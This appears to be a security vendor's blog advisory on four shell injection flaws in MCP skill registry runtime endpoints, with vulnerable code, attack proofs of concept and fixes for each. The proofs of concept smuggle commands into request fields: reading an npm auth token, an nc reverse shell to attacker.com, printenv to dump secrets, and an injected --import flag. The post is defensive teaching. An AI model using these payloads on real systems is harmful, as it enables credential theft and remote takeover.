← Blog

Claude MCP skill code injection — skill runtime environment configuration and execution context setup endpoints (SA-SKL-INJECTION65)

SA-SKL-INJECTION65 identifies four code injection vulnerabilities in MCP skill registry skill runtime environment configuration and execution context setup endpoints. The Node.js runtime launch configuration endpoint interpolates the user-supplied requireModule path directly into an exec() call constructing a node --require invocation; an attacker injects a semicolon-terminated shell command to exfiltrate the contents of ~/.npm/_authtoken, granting npm publish access to any registry package the worker's npm identity controls. The Deno runtime configuration endpoint interpolates the networkPolicy allow-list string directly into an exec() call constructing a deno run --allow-net= invocation; an attacker injects a semicolon-terminated nc reverse shell command that establishes an interactive shell from the Deno runtime worker to attacker-controlled infrastructure. The Bun runtime configuration endpoint interpolates the envFile path directly into an exec() call constructing a bun run --env-file= invocation; an attacker injects a semicolon-terminated printenv command that dumps all environment variables including BUN_AUTH_TOKEN, cloud provider credentials, and database connection strings. The tsx TypeScript execution endpoint interpolates the tsxConfig path string into an exec() call; an attacker injects a space and --import=/tmp/attacker.js flag to preload an attacker-controlled ESM module that runs arbitrary code before the legitimate skill entry point receives control.

SA-SKL-INJECTION65 findings at a glance
CRITICALINJECTION65-001 — exec(`node --require ${requireModule} ${entryPoint}`) — attacker requireModule with ; cat ~/.npm/_authtoken exfiltrates npm auth token enabling supply-chain publish attacks
CRITICALINJECTION65-002 — exec(`deno run --allow-net=${networkPolicy} ${scriptPath}`) — attacker networkPolicy with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from Deno runtime worker
CRITICALINJECTION65-003 — exec(`bun run --env-file ${envFile} ${scriptPath}`) — attacker envFile with ; printenv exfiltrates all env vars including BUN_AUTH_TOKEN and cloud credentials
HIGHINJECTION65-004 — exec(`tsx ${tsxConfig} ${scriptPath}`) — attacker tsxConfig with space-injected --import=/tmp/attacker.js preloads attacker-controlled ESM module enabling arbitrary code execution before skill entry point runs

INJECTION65-001 — Node.js requireModule injection exfiltrates npm auth token

The Node.js runtime configuration endpoint accepts a requireModule parameter that specifies a module to preload via node --require before the skill's entry point runs. This feature allows skill authors to inject instrumentation, polyfills, or configuration bootstrapping code that runs before the skill module is loaded. The endpoint constructs the Node.js launch command by string interpolation using template literals and passes it to child_process.exec(), which invokes a shell to interpret the command string. Shell metacharacters in the template literal interpolation positions are not escaped.

An attacker submits a requireModule value containing a semicolon followed by a shell command. The semicolon terminates the node --require argument and begins a new shell command in the same shell invocation. The injected command cat ~/.npm/_authtoken reads the npm authentication token from the registry worker's home directory and returns it in the command's standard output, which the execution context endpoint returns to the caller as part of the runtime configuration confirmation. The npm auth token authorizes publishing to any package on the npm registry that the worker's npm identity has write access to, enabling supply-chain attacks against packages owned by the registry infrastructure identity.

Vulnerable
// INJECTION65-001 — VULNERABLE
const { exec } = require('child_process');
const util = require('util');
const execAsync = util.promisify(exec);

router.post('/api/runtime/node/configure', requireSession, async (req, res) => {
  const { requireModule, entryPoint, skillId } = req.body;
  // VULNERABLE: shell metacharacters in requireModule are not escaped
  const { stdout } = await execAsync(
    `node --require ${requireModule} ${entryPoint}`
  );
  res.json({ configured: true, output: stdout });
});

Attack PoC — INJECTION65-001: Attacker injects semicolon-terminated shell command into requireModule. Node exec() spawns a shell that reads ~/.npm/_authtoken after the semicolon. The npm auth token is returned in the runtime configuration output, granting npm publish access to registry-owned packages.

// INJECTION65-001 — ATTACK PoC
const resp = await fetch('/api/runtime/node/configure', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    skillId: 'my-skill',
    requireModule: '/tmp/setup.js; cat ~/.npm/_authtoken',
    entryPoint: '/workspace/index.js',
  }),
});
const { output } = await resp.json();
// output includes npm auth token — attacker can now publish to registry packages
Fixed
// INJECTION65-001 — FIXED
const { execFile } = require('child_process');
const util  = require('util');
const path  = require('path');
const { z } = require('zod');
const execFileAsync = util.promisify(execFile);

const REQUIRE_MODULES_DIR = path.resolve(process.env.REQUIRE_MODULES_DIR);
const WORKSPACE_ROOT      = path.resolve(process.env.WORKSPACE_ROOT);

const NodeConfigSchema = z.object({
  skillId:      z.string().uuid(),
  requireModule: z.string(),
  entryPoint:    z.string(),
});

router.post('/api/runtime/node/configure', requireSession, async (req, res) => {
  const { requireModule, entryPoint, skillId } = NodeConfigSchema.parse(req.body);
  // FIXED: resolve both paths to their allowed directories; execFile() — no shell
  const safeRequireModule = path.resolve(REQUIRE_MODULES_DIR, requireModule);
  if (!safeRequireModule.startsWith(REQUIRE_MODULES_DIR + path.sep)) {
    return res.status(400).json({ error: 'requireModule path traversal rejected' });
  }
  const safeEntryPoint = path.resolve(WORKSPACE_ROOT, entryPoint);
  if (!safeEntryPoint.startsWith(WORKSPACE_ROOT + path.sep)) {
    return res.status(400).json({ error: 'entryPoint path traversal rejected' });
  }
  const { stdout } = await execFileAsync(
    'node', ['--require', safeRequireModule, safeEntryPoint],
    { env: { PATH: process.env.PATH }, timeout: 30_000 }
  );
  res.json({ configured: true, output: stdout });
});

INJECTION65-002 — Deno networkPolicy injection establishes reverse shell

The Deno runtime configuration endpoint accepts a networkPolicy parameter that specifies the allow-list of hosts and ports passed to deno run --allow-net=. Deno's permission system is a security boundary — specifying --allow-net=api.example.com:443 restricts network access to only that host and port. The registry exposes this parameter to allow skill authors to configure the network permission boundary for their skill's Deno runtime. The endpoint constructs the Deno launch command via string interpolation and passes it to exec().

An attacker submits a networkPolicy value of api.example.com:443; nc attacker.com 4444 -e /bin/sh. The --allow-net=api.example.com:443 argument is well-formed and passes any shallow validation; the semicolon terminates it and begins a new shell command in the same shell invocation. The nc command opens a TCP connection to the attacker's listener on port 4444 with -e /bin/sh, attaching a shell to the connection. The reverse shell runs as the Deno runtime worker's process user, with access to all files, environment variables, and network resources accessible to that user on the registry worker host.

Vulnerable
// INJECTION65-002 — VULNERABLE
router.post('/api/runtime/deno/configure', requireSession, async (req, res) => {
  const { networkPolicy, scriptPath, skillId } = req.body;
  // VULNERABLE: networkPolicy contains shell metacharacters not escaped
  const { stdout } = await execAsync(
    `deno run --allow-net=${networkPolicy} ${scriptPath}`
  );
  res.json({ configured: true, output: stdout });
});

Attack PoC — INJECTION65-002: Attacker injects reverse shell command after semicolon in networkPolicy. The shell executes nc after Deno launches, establishing an interactive reverse shell from the registry worker to the attacker's listener on port 4444.

// INJECTION65-002 — ATTACK PoC
await fetch('/api/runtime/deno/configure', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    skillId: 'my-skill',
    networkPolicy: 'api.example.com:443; nc attacker.com 4444 -e /bin/sh',
    scriptPath: '/workspace/skill.ts',
  }),
});
// Attacker receives interactive shell on port 4444
Fixed
// INJECTION65-002 — FIXED
const NETWORK_POLICY_RE = /^(?:[a-zA-Z0-9.\-]+(?::\d{1,5})?(?:,(?:[a-zA-Z0-9.\-]+(?::\d{1,5})?))*)?$/;
const WORKSPACE_ROOT    = path.resolve(process.env.WORKSPACE_ROOT);

router.post('/api/runtime/deno/configure', requireSession, async (req, res) => {
  const { networkPolicy, scriptPath, skillId } = req.body;
  // FIXED: validate networkPolicy against strict allowlist pattern — no semicolons/pipes/spaces
  if (!NETWORK_POLICY_RE.test(networkPolicy)) {
    return res.status(400).json({ error: 'Invalid networkPolicy format' });
  }
  const safeScriptPath = path.resolve(WORKSPACE_ROOT, scriptPath);
  if (!safeScriptPath.startsWith(WORKSPACE_ROOT + path.sep)) {
    return res.status(400).json({ error: 'scriptPath path traversal rejected' });
  }
  // FIXED: execFile() passes each argument as a discrete argv element — no shell
  const { stdout } = await execFileAsync(
    'deno', ['run', `--allow-net=${networkPolicy}`, safeScriptPath],
    { env: { PATH: process.env.PATH }, timeout: 30_000 }
  );
  res.json({ configured: true, output: stdout });
});

INJECTION65-003 — Bun envFile injection exfiltrates all environment variables

The Bun runtime configuration endpoint accepts an envFile parameter that specifies the path to the environment variable file passed to bun run --env-file=. This feature allows skill authors to supply an environment file containing key-value pairs that Bun loads as environment variables before executing the skill script. The endpoint constructs the Bun launch command via string interpolation and passes it to exec(). The injected command string is processed by the shell before Bun sees any arguments.

An attacker submits an envFile value of /workspace/.env; printenv. The --env-file=/workspace/.env argument appears well-formed; the semicolon after the path terminates it and begins a new shell command. printenv prints all environment variables of the current process to standard output. The runtime configuration endpoint returns the combined standard output of both commands, including the full environment variable dump. The worker process environment contains BUN_AUTH_TOKEN (the Bun package registry authentication token), AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, database connection strings, and all other secrets injected into the worker via environment at deployment time.

Vulnerable
// INJECTION65-003 — VULNERABLE
router.post('/api/runtime/bun/configure', requireSession, async (req, res) => {
  const { envFile, scriptPath, skillId } = req.body;
  // VULNERABLE: envFile path is not validated; shell metacharacters permitted
  const { stdout } = await execAsync(
    `bun run --env-file ${envFile} ${scriptPath}`
  );
  res.json({ configured: true, output: stdout });
});

Attack PoC — INJECTION65-003: Attacker injects printenv after semicolon in envFile. The shell runs printenv in the same execution context as the registry worker, dumping all environment variables — including BUN_AUTH_TOKEN, AWS credentials, and database connection strings — into the runtime configuration output.

// INJECTION65-003 — ATTACK PoC
const resp = await fetch('/api/runtime/bun/configure', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    skillId: 'my-skill',
    envFile: '/workspace/.env; printenv',
    scriptPath: '/workspace/index.ts',
  }),
});
const { output } = await resp.json();
// output contains BUN_AUTH_TOKEN=..., AWS_ACCESS_KEY_ID=..., DATABASE_URL=... etc.
Fixed
// INJECTION65-003 — FIXED
const ENV_FILES_DIR  = path.resolve(process.env.ENV_FILES_DIR);
const WORKSPACE_ROOT = path.resolve(process.env.WORKSPACE_ROOT);

router.post('/api/runtime/bun/configure', requireSession, async (req, res) => {
  const { envFile, scriptPath, skillId } = req.body;
  // FIXED: resolve envFile to allowed env files directory; no path traversal
  const safeEnvFile = path.resolve(ENV_FILES_DIR, envFile);
  if (!safeEnvFile.startsWith(ENV_FILES_DIR + path.sep)) {
    return res.status(400).json({ error: 'envFile path traversal rejected' });
  }
  const safeScriptPath = path.resolve(WORKSPACE_ROOT, scriptPath);
  if (!safeScriptPath.startsWith(WORKSPACE_ROOT + path.sep)) {
    return res.status(400).json({ error: 'scriptPath path traversal rejected' });
  }
  // FIXED: execFile() — no shell; env stripped to PATH and HOME only
  const { stdout } = await execFileAsync(
    'bun', ['run', '--env-file', safeEnvFile, safeScriptPath],
    { env: { PATH: process.env.PATH, HOME: '/tmp/skill-sandbox' }, timeout: 30_000 }
  );
  res.json({ configured: true, output: stdout });
});

INJECTION65-004 — tsx tsxConfig space injection preloads attacker ESM module

The tsx TypeScript execution endpoint accepts a tsxConfig parameter that specifies a tsconfig path prefix passed to the tsx CLI before the script path. The endpoint concatenates this value directly into the exec() command string with a space separator. Unlike semicolon injection which creates a new command, space injection exploits the fact that exec() passes the full string to /bin/sh -c and the shell performs word splitting, allowing an attacker to inject additional flags into the tsx invocation itself rather than into a subsequent shell command.

An attacker submits a tsxConfig value of tsconfig.json --import=/tmp/attacker.js. The tsx invocation becomes tsx tsconfig.json --import=/tmp/attacker.js /workspace/skill.ts. The --import flag is tsx's ESM module preload flag: it loads the specified module before the entry point, with the same permissions as the main process. If the attacker can place a file at /tmp/attacker.js — through a separate path traversal or file upload vulnerability, or by exploiting the execution sandbox's shared temporary directory — the preloaded module runs arbitrary code before the legitimate skill entry point receives control, with full access to the runtime environment.

Vulnerable
// INJECTION65-004 — VULNERABLE
router.post('/api/runtime/tsx/configure', requireSession, async (req, res) => {
  const { tsxConfig, scriptPath, skillId } = req.body;
  // VULNERABLE: space-injection allows additional flags like --import to be injected
  const { stdout } = await execAsync(
    `tsx ${tsxConfig} ${scriptPath}`
  );
  res.json({ configured: true, output: stdout });
});

Attack PoC — INJECTION65-004: Attacker injects --import=/tmp/attacker.js via space in tsxConfig. tsx loads the attacker module before the skill entry point, executing arbitrary code with full process permissions before the legitimate skill code runs.

// INJECTION65-004 — ATTACK PoC
// Attacker places malicious ESM module at /tmp/attacker.js via separate upload vuln
await fetch('/api/runtime/tsx/configure', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    skillId: 'my-skill',
    tsxConfig: 'tsconfig.json --import=/tmp/attacker.js',
    scriptPath: '/workspace/index.ts',
  }),
});
// attacker.js executes before /workspace/index.ts with full worker privileges
Fixed
// INJECTION65-004 — FIXED
const TSCONFIGS_DIR  = path.resolve(process.env.TSCONFIGS_DIR);
const WORKSPACE_ROOT = path.resolve(process.env.WORKSPACE_ROOT);
// reject any tsxConfig value that contains whitespace
const TSX_CONFIG_RE  = /^[^\s]+$/;

router.post('/api/runtime/tsx/configure', requireSession, async (req, res) => {
  const { tsxConfig, scriptPath, skillId } = req.body;
  // FIXED: reject tsxConfig values containing spaces — no space-injected flags
  if (!TSX_CONFIG_RE.test(tsxConfig)) {
    return res.status(400).json({ error: 'tsxConfig must not contain whitespace' });
  }
  const safeTsxConfig = path.resolve(TSCONFIGS_DIR, tsxConfig);
  if (!safeTsxConfig.startsWith(TSCONFIGS_DIR + path.sep)) {
    return res.status(400).json({ error: 'tsxConfig path traversal rejected' });
  }
  const safeScriptPath = path.resolve(WORKSPACE_ROOT, scriptPath);
  if (!safeScriptPath.startsWith(WORKSPACE_ROOT + path.sep)) {
    return res.status(400).json({ error: 'scriptPath path traversal rejected' });
  }
  // FIXED: execFile() passes tsxConfig as a discrete argv element — no word splitting
  const { stdout } = await execFileAsync(
    'tsx', [safeTsxConfig, safeScriptPath],
    { env: { PATH: process.env.PATH }, timeout: 30_000 }
  );
  res.json({ configured: true, output: stdout });
});

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect shell injection in runtime configuration endpoints — including space-injection flag smuggling in tsx, Deno, and Bun invocations — in under 60 seconds. See the SkillAudit blog for in-depth analysis of injection patterns in MCP skill registry infrastructure.